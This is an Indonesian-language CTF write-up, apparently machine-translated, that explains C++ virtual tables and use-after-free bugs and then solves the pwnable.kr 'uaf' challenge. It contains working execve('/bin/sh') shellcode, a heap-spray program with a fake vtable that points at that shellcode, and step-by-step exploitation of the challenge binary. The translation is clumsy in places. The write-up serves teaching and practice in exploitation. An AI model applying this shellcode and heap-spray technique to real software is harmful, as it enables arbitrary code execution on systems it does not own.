Pemecahan masalah dengan pwnable.kr 16 - uaf. Gunakan setelah kerentanan gratis

gambar

Pada artikel ini, kami akan mempertimbangkan apa itu UAF dan juga menyelesaikan tugas ke-16 dari situs pwnable.kr .

Informasi Organisasi
Terutama bagi mereka yang ingin mempelajari sesuatu yang baru dan berkembang di bidang informasi dan keamanan komputer, saya akan menulis dan berbicara tentang kategori berikut:
  • PWN;
  • kriptografi (Crypto);
  • teknologi jaringan (Jaringan);
  • membalikkan (Reverse Engineering);
  • steganografi (Stegano);
  • pencarian dan eksploitasi kerentanan WEB.

Selain itu, saya akan membagikan pengalaman saya dalam forensik komputer, analisis malware dan firmware, serangan pada jaringan nirkabel dan jaringan area lokal, melakukan pentest dan menulis eksploitasi.

Agar Anda dapat mengetahui tentang artikel baru, perangkat lunak, dan informasi lainnya, saya membuat saluran di Telegram dan grup untuk membahas masalah apa pun di bidang ICD. Juga, saya pribadi akan mempertimbangkan permintaan pribadi Anda, pertanyaan, saran dan rekomendasi secara pribadi dan akan menjawab semua orang .

Semua informasi disediakan hanya untuk tujuan pendidikan. Penulis dokumen ini tidak bertanggung jawab atas kerusakan yang disebabkan seseorang sebagai akibat dari menggunakan pengetahuan dan metode yang diperoleh sebagai hasil dari mempelajari dokumen ini.

Warisan dan metode virtual


Fungsi virtual - dalam pemrograman berorientasi objek, fungsi kelas yang dapat ditimpa dalam kelas penerus. Dengan demikian, programmer tidak perlu mengetahui tipe objek yang tepat untuk bekerja dengannya melalui metode virtual: cukup untuk mengetahui bahwa objek tersebut milik kelas atau turunan dari kelas di mana metode tersebut dideklarasikan.

Sederhananya, bayangkan bahwa kita memiliki kelas dasar Hewan yang didefinisikan yang memiliki fungsi virtual sreak. Jadi kelas Hewan dapat memiliki dua kelas anak Kucing dan Anjing. Fungsi virtual Cat: sreak () akan menampilkan myau, dan Dog: sreak akan menampilkan gav. Tetapi jika struktur yang sama disimpan dalam memori, bagaimana program memahami yang mana dari sreaks harus dipanggil?

Semua pekerjaan disediakan oleh tabel metode virtual (TVM), atau, sebagaimana ditentukan oleh vtable.

Setiap kelas memiliki TVM sendiri dan kompiler menambahkan pointer tabel virtualnya (vptr - pointer ke vtable), sebagai variabel lokal pertama dari objek ini. Mari kita periksa.
#include <stdio.h> class ANIMAL{ private: int var1 = 0x11111111; public: virtual void func1(){ printf("Class Animal - func1\n"); } virtual void func2(){ printf("Class Animal - func2\n"); } }; class CAT : public ANIMAL { public: virtual void func1(){ printf("Class Cat - func1\n"); } virtual void func2(){ printf("Class Cat - func2\n"); } }; int main(){ ANIMAL *p1 = new ANIMAL(); ANIMAL *p2 = new CAT(); ANIMAL *ptr; ptr = p1; ptr->func1(); ptr->func2(); ptr = dynamic_cast<CAT*>(p2); ptr->func1(); ptr->func2(); return 0; } 

Kompilasi dan jalankan untuk melihat hasilnya.
 g++ ex.c -o ex.bin 

gambar

Sekarang jalankan di bawah debugger di IDA dan berhenti sebelum memanggil fungsi pertama. Buka jendela HEX-View dan sinkronkan dengan register RAX.

gambar

Dalam fragmen yang dipilih, kita melihat nilai dari variabel var1 ketika mendefinisikan variabel dari jenis HEWAN dan CAT. Ada alamat di depan kedua variabel, seperti yang kami katakan, ini adalah pointer ke VMT (0x559f9898fd90 dan 0x559f9898fd70).

Mari kita lihat apa yang terjadi ketika func1 dipanggil:
  1. Pertama, di RAX kita akan memiliki alamat pada objek menggunakan ptr pointer.
  2. Lebih lanjut dalam RAX nilai pertama dari objek dibaca - pointer ke VMT (ke elemen pertama).
  3. Dalam RAX, nilai pertama dari VMT dibaca - pointer ke metode virtual yang sama.
  4. Dalam RDX, sebuah pointer ke objek dimasukkan (lebih umum ini).
  5. Panggilan metode virtual dibuat.


gambar

Ketika func2 dipanggil, hal yang sama terjadi, dengan satu pengecualian, bukan record pertama (RAX), tetapi yang kedua (RAX + 8) dibaca dari VMT. Ini adalah mekanisme untuk bekerja dengan metode virtual.

gambar

UAF


Kerentanan ini khas untuk heap, karena stack dirancang untuk menyimpan data dalam jumlah kecil (variabel lokal). Heap, menjadi memori dinamis, sangat cocok untuk menyimpan sejumlah besar data. Dalam hal ini, alokasi dan pelepasan memori dapat terjadi selama eksekusi program. Tetapi karena ini, perlu untuk memantau memori mana yang ditempati dan mana yang tidak. Untuk melakukan ini, Anda memerlukan header layanan untuk blok memori yang dialokasikan. Ini berisi alamat mulai dan penunjuk ke elemen pertama blok. Dan sementara tumpukan, tidak seperti tumpukan, tumbuh turun.

Inti dari kerentanan adalah bahwa setelah mengosongkan memori, program dapat merujuk ke area ini. Jadi ada pointer menggantung. Ubah kode program dan verifikasi ini.
 int main(){ ANIMAL *p1 = new ANIMAL(); ANIMAL *p2 = new CAT(); ANIMAL *ptr; ptr = p1; ptr->func1(); ptr->func2(); ptr = dynamic_cast<CAT*>(p2); ptr->func1(); ptr->func2(); delete p2; ptr->func1(); return 0; } 

gambar

Mari kita cari di mana program crash. Dengan analogi dengan contoh sebelumnya, saya berhenti sebelum memanggil fungsi dan menyinkronkan Hex-View dengan RAX. Kita melihat di mana objek kita seharusnya berada. Tetapi ketika menjalankan instruksi berikut, 0 tetap ada di register RAX dan sudah mencoba dereference 0, program macet.

gambar

gambar

Jadi, untuk eksploitasi UAF, perlu untuk mentransfer shellcode ke program, dan kemudian menuju permulaan melalui penunjuk gantung (dalam VMT). Ini dimungkinkan karena fakta bahwa heap, ketika diminta, mengalokasikan blok memori yang telah dibebaskan sebelumnya, dan dengan cara ini kita dapat meniru VMT, yang akan mengarah ke shellcode. Dengan kata lain, di mana alamat fungsi VMT sebelumnya berada, alamat shellcode sekarang akan ditemukan. Tetapi kami tidak dapat menjamin bahwa memori untuk satu-satunya objek yang dipilih akan bertepatan dengan zona yang baru saja dibersihkan, oleh karena itu kami akan membuat beberapa objek seperti itu dalam satu lingkaran.

Mari kita lihat sebuah contoh. Pertama, ambil shellcode, misalnya, dari sini .
 "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" 

Dan melengkapi kode kami:
 #include <stdio.h> #include <string.h> class ANIMAL{ private: int var1 = 0x11111111; public: virtual void func1(){ printf("Class Animal - func1\n"); } virtual void func2(){ printf("Class Animal - func2\n"); } }; class CAT : public ANIMAL { public: virtual void func1(){ printf("Class Cat - func1\n"); } virtual void func2(){ printf("Class Cat - func2\n"); } }; class EX_SHELL{ private: char n[8]; public: EX_SHELL(void* addr_in_VMT){ memcpy(n, &addr_in_VMT, sizeof(void*)); } }; char shellcode[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"; int main(){ ANIMAL *p1 = new ANIMAL(); ANIMAL *p2 = new CAT(); ANIMAL *ptr; ptr = p1; ptr->func1(); ptr->func2(); ptr = dynamic_cast<CAT*>(p2); ptr->func1(); ptr->func2(); delete p2; void* vmt[1]; vmt[0] = (void*) shellcode; for(int i=0; i<0x10000; i++) new EX_SHELL(vmt); ptr->func1(); return 0; } 

Setelah mengkompilasi dan menjalankan, kami mendapatkan shell penuh.

gambar

Solusi pekerjaan Uaf


Kami mengklik ikon yang ditandatangani uaf dan kami diberitahu bahwa kami perlu terhubung melalui SSH dengan tamu kata sandi.

gambar

Saat terhubung, kami melihat spanduk yang sesuai.

gambar

Mari cari tahu file apa yang ada di server, serta hak apa yang kita miliki.

gambar

Mari kita lihat kode sumbernya
 #include <fcntl.h> #include <iostream> #include <cstring> #include <cstdlib> #include <unistd.h> using namespace std; class Human{ private: virtual void give_shell(){ system("/bin/sh"); } protected: int age; string name; public: virtual void introduce(){ cout << "My name is " << name << endl; cout << "I am " << age << " years old" << endl; } }; class Man: public Human{ public: Man(string name, int age){ this->name = name; this->age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a nice guy!" << endl; } }; class Woman: public Human{ public: Woman(string name, int age){ this->name = name; this->age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a cute girl!" << endl; } }; int main(int argc, char* argv[]){ Human* m = new Man("Jack", 25); Human* w = new Woman("Jill", 21); size_t len; char* data; unsigned int op; while(1){ cout << "1. use\n2. after\n3. free\n"; cin >> op; switch(op){ case 1: m->introduce(); w->introduce(); break; case 2: len = atoi(argv[1]); data = new char[len]; read(open(argv[2], O_RDONLY), data, len); cout << "your data is allocated" << endl; break; case 3: delete m; delete w; break; default: break; } } return 0; } 


Pada awal program, kami memiliki dua objek kelas yang diwarisi dari kelas Manusia. Yang memiliki fungsi memberi kita shell.

gambar

Selanjutnya, kami diundang untuk memperkenalkan salah satu dari tiga tindakan:
  1. menampilkan informasi objek;
  2. menulis ke banyak data yang diterima sebagai parameter program;
  3. hapus objek yang dibuat.


gambar

Karena kerentanan UAF dipertimbangkan dalam tugas ini, rencananya harus sebagai berikut: buat - hapus - tulis ke tumpukan - terima informasi.

Satu-satunya langkah yang kita kontrol penuh adalah menulis ke heap. Tetapi sebelum merekam, kita perlu tahu bagaimana VMT mencari objek-objek ini dan alamat fungsi yang memberi kita shell. Dengan menggunakan contoh, kami memahami cara kerja VMT, pointer ke alamat disimpan satu demi satu, mis.
func2 = * func1 + sizeof (* func1), func3 = * func1 + 2 * sizeof (* func2) dll.

Karena fungsi pertama di VMT adalah give_shell (), dan ketika fungsi Man :: perkenalkan () dipanggil, alamat kedua VMT adalah alamat yang dimasukkan. Dengan sistem 64-bit: * perkenalkan = * give_shell + 8. Kami akan menemukan konfirmasi tentang ini:

gambar

Garis utama + 272 membuktikan asumsi kami, karena alamat relatif ke pangkalan meningkat sebesar 8.

Atur breakpoint dan lihat isi EAX untuk menentukan alamat dasar.

gambar

gambar

gambar

Kami menemukan alamat pangkalan: 0x0000000000401570. Jadi, alih-alih dari shell, kita perlu menulis alamat give_shell () di heap, dikurangi 8, sehingga akan diambil sebagai basis VMT, sementara bertambah 8, program memberi kami shell.

gambar

Program sebagai parameter adalah jumlah byte yang dibaca dari file, dan nama file. Masih sedikit untuk menimpa data, Anda perlu mengalokasikan blok memori ukuran blok yang dibebaskan. Temukan ukuran blok yang menempati satu objek.

gambar

Dengan demikian, sebelum membuat objek 0x18 = 24 byte dicadangkan. Artinya, kita perlu membuat file yang terdiri dari 24 byte.

gambar

Karena program ini membebaskan dua objek, kita harus menulis data dua kali.

gambar

Kami mendapatkan shell, membaca bendera, kami mendapatkan 8 poin.

gambar

Anda dapat bergabung dengan kami di Telegram . Lain kali kita akan berurusan dengan menyelaraskan memori.

Source: https://habr.com/ru/post/id462471/


All Articles